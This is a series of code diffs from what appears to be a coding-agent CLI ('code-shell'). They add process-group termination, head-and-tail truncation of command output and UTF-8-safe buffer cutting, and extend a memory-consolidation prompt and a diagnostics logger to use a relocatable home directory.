+ // the negative-pid SIGKILL below; there's no graceful phase on Windows.
216
+ if (process.platform === "win32") {
217
+ return killProcessTreeWindows(pgid);
218
+ }
219
+ const grace = opts.graceMs ?? DEFAULT_GROUP_GRACE_MS;
220
+ return new Promise((resolve) => {
221
+ if (!groupAlive(pgid)) {
222
+ resolve();
223
+ return;
224
+ }
225
+ try {
226
+ process.kill(-pgid, "SIGTERM");
227
+ }
228
+ catch {
229
+ // Already gone, or not permitted — fall through to the grace check.
230
+ }
231
+ const start = Date.now();
232
+ // Poll for graceful exit so we can resolve early (and skip SIGKILL) when
233
+ // the group honors SIGTERM. Cheap: a `kill(-pgid, 0)` probe every 50ms.
234
+ const tick = () => {
235
+ if (!groupAlive(pgid)) {
236
+ resolve();
237
+ return;
238
+ }
239
+ if (Date.now() - start >= grace) {
240
+ try {
241
+ process.kill(-pgid, "SIGKILL");
242
+ }
243
+ catch {
244
+ // Race: exited between the probe and here. Fine.
245
+ }
246
+ // Give the OS a beat to tear the group down before resolving so
247
+ // callers that immediately probe see ESRCH.
248
+ setTimeout(resolve, 50);
249
+ return;
250
+ }
251
+ setTimeout(tick, 50);
252
+ };
253
+ setTimeout(tick, 50);
254
+ });
255
+ }
256
+ /**
257
+ * True if any process in the group `pgid` is still alive. Signal 0 performs
258
+ * existence/permission checks without delivering a signal; ESRCH means the
259
+ * whole group is gone.
260
+ *
261
+ * Windows has no process groups: probe the leader pid directly (positive,
262
+ * Node supports signal 0 on Windows for an existence check). Children may
263
+ * outlive the leader, but `taskkill /T` already reaps the tree, so a
264
+ * leader-alive probe is the right gate for the win32 kill path.
265
+ */
266
+ export function groupAlive(pgid) {
267
+ // Same 0/1 guard as killProcessGroup: `process.kill(-0, 0)` probes the
268
+ // caller's own group (a false "alive"), and -1 is the all-processes target.
269
+ // A bogus pgid means "no such group" → not alive.
270
+ if (!Number.isInteger(pgid) || pgid <= 1)
271
+ return false;
272
+ const target = process.platform === "win32" ? pgid : -pgid;
273
+ try {
274
+ process.kill(target, 0);
275
+ return true;
276
+ }
277
+ catch (e) {
278
+ return e.code !== "ESRCH";
279
+ }
280
+ }
281
+ /**
282
+ * Windows process-tree kill via `taskkill /PID <pid> /T /F`. Resolves when
283
+ * taskkill exits (or immediately if the pid is already gone). Best-effort:
284
+ * a non-zero exit (e.g. "process not found", code 128) is treated as success
285
+ * since the goal — the tree being gone — is met.
286
+ */
287
+ function killProcessTreeWindows(pid) {
288
+ return new Promise((resolve) => {
289
+ let child;
290
+ try {
291
+ child = spawn("taskkill", ["/PID", String(pid), "/T", "/F"], {
292
+ stdio: "ignore",
293
+ windowsHide: true,
294
+ });
295
+ }
296
+ catch {
297
+ resolve();
298
+ return;
299
+ }
300
+ child.on("error", () => resolve());
301
+ child.on("exit", () => resolve());
302
+ });
303
+ }
@@ -0,0 +1,22 @@
1
+ /**
2
+ * Head+tail truncation for long command output (TODO 2.11 — shell snapshot).
3
+ *
4
+ * The naive "keep first N chars, drop the rest" loses the END of the output —
5
+ * which for a failing command is usually the most important part (the error,
6
+ * the stack tail, the final summary line). Instead, when output exceeds `cap`,
7
+ * keep a head slice AND a tail slice with a clear marker noting how much was
8
+ * dropped in the middle. Pure + testable.
9
+ */
10
+ export interface TruncateOptions {
11
+ /** Max total chars to keep before truncating (head + tail combined budget). */
12
+ cap: number;
13
+ /** Fraction of the kept budget given to the head (rest goes to the tail). Default 0.5. */
14
+ headRatio?: number;
15
+ }
16
+ /**
17
+ * Keep the head and tail of `text` when it's longer than `cap`, joined by a
18
+ * marker that states how many chars were omitted. Returns the input unchanged
19
+ * when it fits. Slices on line boundaries when possible so a cut doesn't land
20
+ * mid-line (falls back to a hard char cut for a single huge line).
21
+ */
22
+ export declare function truncateHeadTail(text: string, opts: TruncateOptions): string;
@@ -0,0 +1,49 @@
1
+ /**
2
+ * Head+tail truncation for long command output (TODO 2.11 — shell snapshot).
3
+ *
4
+ * The naive "keep first N chars, drop the rest" loses the END of the output —
5
+ * which for a failing command is usually the most important part (the error,
6
+ * the stack tail, the final summary line). Instead, when output exceeds `cap`,
7
+ * keep a head slice AND a tail slice with a clear marker noting how much was
8
+ * dropped in the middle. Pure + testable.
9
+ */
10
+ /**
11
+ * Keep the head and tail of `text` when it's longer than `cap`, joined by a
12
+ * marker that states how many chars were omitted. Returns the input unchanged
13
+ * when it fits. Slices on line boundaries when possible so a cut doesn't land
14
+ * mid-line (falls back to a hard char cut for a single huge line).
15
+ */
16
+ export function truncateHeadTail(text, opts) {
17
+ const { cap } = opts;
18
+ if (cap <= 0 || text.length <= cap)
19
+ return text;
20
+ const headRatio = opts.headRatio ?? 0.5;
21
+ const headBudget = Math.max(0, Math.floor(cap * headRatio));
22
+ const tailBudget = Math.max(0, cap - headBudget);
23
+ const head = sliceHead(text, headBudget);
24
+ const tail = sliceTail(text, tailBudget);
25
+ const omitted = text.length - head.length - tail.length;
26
+ if (omitted <= 0)
27
+ return text; // ratios collapsed to no real cut
28
+ return (head +
29
+ `\n\n… [${omitted} chars omitted — showing first ${head.length} + last ${tail.length}] …\n\n` +
30
+ tail);
31
+ }
32
+ /** Take up to `budget` chars from the start, preferring a line boundary. */
33
+ function sliceHead(text, budget) {
34
+ if (budget <= 0)
35
+ return "";
36
+ const raw = text.slice(0, budget);
37
+ const lastNl = raw.lastIndexOf("\n");
38
+ // Snap back to the last newline if it keeps at least ~60% of the budget,
39
+ // otherwise the line is huge — hard cut to avoid throwing away most of it.
40
+ return lastNl > budget * 0.6 ? raw.slice(0, lastNl) : raw;
41
+ }
42
+ /** Take up to `budget` chars from the end, preferring a line boundary. */
43
+ function sliceTail(text, budget) {
44
+ if (budget <= 0)
45
+ return "";
46
+ const raw = text.slice(text.length - budget);
47
+ const firstNl = raw.indexOf("\n");
48
+ return firstNl >= 0 && firstNl < budget * 0.4 ? raw.slice(firstNl + 1) : raw;
49
+ }
@@ -0,0 +1,11 @@
1
+ /**
2
+ * Largest cut length ≤ `maxBytes` that does not split a multibyte UTF-8
3
+ * character in `buf`. Used to paginate a large output burst without emitting a
4
+ * `�` replacement char (and to keep the consumed-bytes cursor on a boundary so
5
+ * the next read resumes cleanly).
6
+ *
7
+ * UTF-8: a continuation byte is 0b10xxxxxx (0x80–0xBF); a lead byte starts a
8
+ * new character. If the byte at `maxBytes` is a continuation byte, we're mid
9
+ * -character, so walk back to the last lead byte and cut there.
10
+ */
11
+ export declare function utf8SafeCutLength(buf: Buffer, maxBytes: number): number;
@@ -0,0 +1,23 @@
1
+ /**
2
+ * Largest cut length ≤ `maxBytes` that does not split a multibyte UTF-8
3
+ * character in `buf`. Used to paginate a large output burst without emitting a
4
+ * `�` replacement char (and to keep the consumed-bytes cursor on a boundary so
5
+ * the next read resumes cleanly).
6
+ *
7
+ * UTF-8: a continuation byte is 0b10xxxxxx (0x80–0xBF); a lead byte starts a
8
+ * new character. If the byte at `maxBytes` is a continuation byte, we're mid
9
+ * -character, so walk back to the last lead byte and cut there.
10
+ */
11
+ export function utf8SafeCutLength(buf, maxBytes) {
12
+ if (maxBytes >= buf.length)
13
+ return buf.length;
14
+ if (maxBytes <= 0)
15
+ return 0;
16
+ let cut = maxBytes;
17
+ // Back off while the byte at the cut position is a UTF-8 continuation byte
18
+ // (0x80–0xBF) — that means the char starting before `cut` isn't complete yet.
19
+ while (cut > 0 && (buf[cut] & 0xc0) === 0x80) {
20
+ cut--;
21
+ }
22
+ return cut;
23
+ }
@@ -46,4 +46,8 @@ export declare function buildDreamUserPrompt(userMemories: Array<{
46
46
  name: string;
47
47
  type: string;
48
48
  description: string;
49
+ }>, globalMemories?: Array<{
50
+ name: string;
51
+ type: string;
52
+ description: string;
49
53
  }>): string;
@@ -6,14 +6,17 @@
6
6
  */
7
7
  import { existsSync, readFileSync, writeFileSync, mkdirSync } from "node:fs";
8
8
  import { join } from "node:path";
9
- import { homedir } from "node:os";
9
+ import { resolveMemoryBaseDir } from "../session/memory.js";
10
10
  const DEFAULT_CONFIG = {
11
11
  minSessionsBetween: 5,
12
12
  minTimeBetween: 24 * 60 * 60 * 1000, // 24 hours
13
13
  enabled: true,
14
14
  };
15
+ // Co-locate the dream-cadence state with the memories it tracks: both resolve
16
+ // through resolveMemoryBaseDir (CODE_SHELL_HOME ?? $HOME ?? homedir()), so a
17
+ // relocated/test HOME moves them together and never writes the real ~/.code-shell.
15
18
  function getStateFile() {
16
- return join(homedir(), ".code-shell", "auto-dream-state.json");
19
+ return join(resolveMemoryBaseDir(), "auto-dream-state.json");
17
20
  }
18
21
  function loadState() {
19
22
  const stateFile = getStateFile();
@@ -27,7 +30,7 @@ function loadState() {
27
30
  }
28
31
  function saveState(state) {
29
32
  const stateFile = getStateFile();
30
- mkdirSync(join(homedir(), ".code-shell"), { recursive: true });
33
+ mkdirSync(resolveMemoryBaseDir(), { recursive: true });
31
34
  writeFileSync(stateFile, JSON.stringify(state, null, 2), "utf-8");
32
35
  }
33
36
  /**
@@ -79,20 +82,23 @@ export function buildDreamSystemPrompt() {
79
82
  "",
80
83
  "Your job: clean up the `dream` scope by deduplicating, merging, removing stale, and improving descriptions.",
81
84
  "",
82
- "Tools available:",
83
- "- MemoryList({ scope }): list memories in a scope",
84
- "- MemoryRead({ scope, name }): read full content of an entry",
85
- "- MemorySave({ scope: 'dream', ... }): create or overwrite a dream entry (auto-approved)",
86
- "- MemoryDelete({ scope: 'dream', name }): soft-delete a dream entry (auto-approved, recoverable from trash)",
85
+ "Tools available (each takes `location`: 'global' = cross-project store, 'project' = this repo; default project):",
86
+ "- MemoryList({ scope, location }): list memories in a scope/location",
87
+ "- MemoryRead({ scope, location, name }): read full content of an entry",
88
+ "- MemorySave({ scope: 'dream', location, ... }): create or overwrite a dream entry (auto-approved)",
89
+ "- MemoryDelete({ scope: 'dream', location, name }): soft-delete a dream entry (auto-approved, recoverable from trash)",
90
+ "",
91
+ "Consolidate BOTH the project dream scope AND the global dream scope (pass location accordingly). Global holds cross-project lessons; keep it deduped too.",
87
92
  "",
88
93
  "Rules — read carefully:",
89
- "1. You may freely Save/Delete in the `dream` scope. These operations DO NOT prompt the user.",
94
+ "1. You may freely Save/Delete in the `dream` scope (any location). These operations DO NOT prompt the user.",
90
95
  "2. You may NOT Save/Delete in the `user` scope from this loop — those operations require interactive permission which is not available here. Treat user-scope entries as read-only context.",
91
96
  "3. If you find user-scope entries that look stale, surface them in your final summary text — don't try to delete them.",
92
97
  "4. Prefer fewer, higher-quality merged entries over many similar fragments.",
93
98
  "5. When an entry has versioned variants (e.g. `*-v1`, `*-v2`, `*-v3`), keep only the latest.",
94
99
  "6. Be conservative: if uncertain whether two entries are truly duplicates, leave them alone.",
95
- "7. When you're done, stop calling tools and respond with a one-paragraph summary of what you changed.",
100
+ "7. Archive COMPLETED work: dream entries that only record a finished fix/task (\"已修\", \"已完成\", \"done\") and carry no reusable lesson should be deleted, or merged into one compact changelog-style entry — completed-state notes that only grow are the main source of clutter. Keep any durable lesson (root cause, pitfall, convention) by folding it into a topical entry first.",
101
+ "8. When you're done, stop calling tools and respond with a one-paragraph summary of what you changed.",
96
102
  ].join("\n");
97
103
  }
98
104
  /**
@@ -100,25 +106,19 @@ export function buildDreamSystemPrompt() {
100
106
  * (entries in both scopes, by name + description) without dumping every entry
101
107
  * body. The LLM uses MemoryRead to fetch bodies for entries it wants to act on.
102
108
  */
103
- export function buildDreamUserPrompt(userMemories, dreamMemories) {
109
+ export function buildDreamUserPrompt(userMemories, dreamMemories, globalMemories = []) {
104
110
  const fmt = (m) => ` - [${m.type}] ${m.name}: ${m.description}`;
111
+ const listOrNone = (arr, noneMsg) => arr.length === 0 ? noneMsg : arr.map(fmt).join("\n");
105
112
  const sections = [];
106
- sections.push(`User-scope memories (READ-ONLY context, ${userMemories.length} entries):`);
107
- if (userMemories.length === 0) {
108
- sections.push(" (none)");
109
- }
110
- else {
111
- sections.push(userMemories.map(fmt).join("\n"));
112
- }
113
+ sections.push(`Project user-scope memories (READ-ONLY context, ${userMemories.length} entries):`);
114
+ sections.push(listOrNone(userMemories, " (none)"));
113
115
  sections.push("");
114
- sections.push(`Dream-scope memories (YOUR WORKSPACE, ${dreamMemories.length} entries):`);
115
- if (dreamMemories.length === 0) {
116
- sections.push(" (none — you may consolidate from user-scope by re-saving curated entries into dream)");
117
- }
118
- else {
119
- sections.push(dreamMemories.map(fmt).join("\n"));
120
- }
116
+ sections.push(`Project dream-scope memories (YOUR WORKSPACE — location:'project', ${dreamMemories.length} entries):`);
117
+ sections.push(listOrNone(dreamMemories, " (none — you may consolidate from user-scope by re-saving curated entries into dream)"));
118
+ sections.push("");
119
+ sections.push(`Global memories (cross-project — clean these too via location:'global', ${globalMemories.length} entries):`);
120
+ sections.push(listOrNone(globalMemories, " (none)"));
121
121
  sections.push("");
122
- sections.push("Begin consolidation. Use MemoryRead to inspect any entries whose names suggest duplication or staleness, then MemorySave/MemoryDelete in dream scope to clean up.");
122
+ sections.push("Begin consolidation. Use MemoryRead to inspect any entries whose names suggest duplication or staleness, then MemorySave/MemoryDelete (with the right location) to clean up.");
123
123
  return sections.join("\n");
124
124
  }
@@ -12,9 +12,8 @@ export interface DiagnosticEntry {
12
12
  stack?: string;
13
13
  }
14
14
  declare class DiagnosticsTracker {
15
- private logDir;
16
15
  private entries;
17
- constructor();
16
+ private logDir;
18
17
  /**
19
18
  * Record a diagnostic event.
20
19
  */
@@ -5,12 +5,16 @@
5
5
  */
6
6
  import { appendFileSync, mkdirSync, existsSync } from "node:fs";
7
7
  import { join } from "node:path";
8
- import { homedir } from "node:os";
8
+ import { userHome } from "../settings/manager.js";
9
9
  class DiagnosticsTracker {
10
- logDir;
11
10
  entries = [];
12
- constructor() {
13
- this.logDir = join(homedir(), ".code-shell", "diagnostics");
11
+ // Resolve per-write (NOT cached in the constructor): the module exports a
12
+ // singleton constructed at import, so a constructor-captured dir would freeze
13
+ // to import-time HOME. userHome() (not raw homedir(), bun-cached) reads $HOME
14
+ // live, so a relocated/test HOME redirects writes instead of hitting real
15
+ // ~/.code-shell.
16
+ logDir() {
17
+ return join(userHome(), ".code-shell", "diagnostics");
14
18
  }
15
19
  /**
16
20
  * Record a diagnostic event.
@@ -84,11 +88,12 @@ class DiagnosticsTracker {
84
88
  }
85
89
  persist(entry) {
86
90
  try {
87
- if (!existsSync(this.logDir)) {
88
- mkdirSync(this.logDir, { recursive: true });
91
+ const logDir = this.logDir();
92
+ if (!existsSync(logDir)) {
93
+ mkdirSync(logDir, { recursive: true });
89
94
  }
90
95
  const dateStr = entry.timestamp.split("T")[0];
91
- const logFile = join(this.logDir, `${dateStr}.jsonl`);
96
+ const logFile = join(logDir, `${dateStr}.jsonl`);
92
97
  appendFileSync(logFile, JSON.stringify(entry) + "\n", "utf-8");
93
98
  }
94
99
  catch {
@@ -6,6 +6,14 @@
6
6
  */
7
7
  export interface ExtractedMemory {
8
8
  type: "user" | "feedback" | "project" | "reference";
9
+ /**
10
+ * Storage location (用户拍板). "global" = a general lesson/preference that
11
+ * still holds in a different project (→ ~/.code-shell/memory). "project" =
12
+ * specific to the current repo (→ projects/<hash>/memory). Decided by the
13
+ * extracting LLM. Missing/invalid → "project" (conservative: don't pollute
14
+ * the global layer with one-off events).
15
+ */
16
+ scope: "global" | "project";
9
17
  name: string;
10
18
  description: string;
11
19
  content: string;
@@ -27,5 +35,10 @@ export declare function buildExtractionPrompt(transcript: Array<{
27
35
  export declare const MAX_MEMORIES_PER_EXTRACTION = 2;
28
36
  /**
29
37
  * Parse extracted memories from LLM response.
38
+ *
39
+ * `maxCount` caps how many memories are accepted from one pass (the code-side
40
+ * guarantee of the prompt rule). Defaults to MAX_MEMORIES_PER_EXTRACTION; a
41
+ * caller can pass `settings.memories.maxCount` to tune it. Non-positive or
42
+ * absent → the default.
30
43
  */
31
- export declare function parseExtractionResponse(response: string): ExtractedMemory[];
44
+ export declare function parseExtractionResponse(response: string, maxCount?: number): ExtractedMemory[];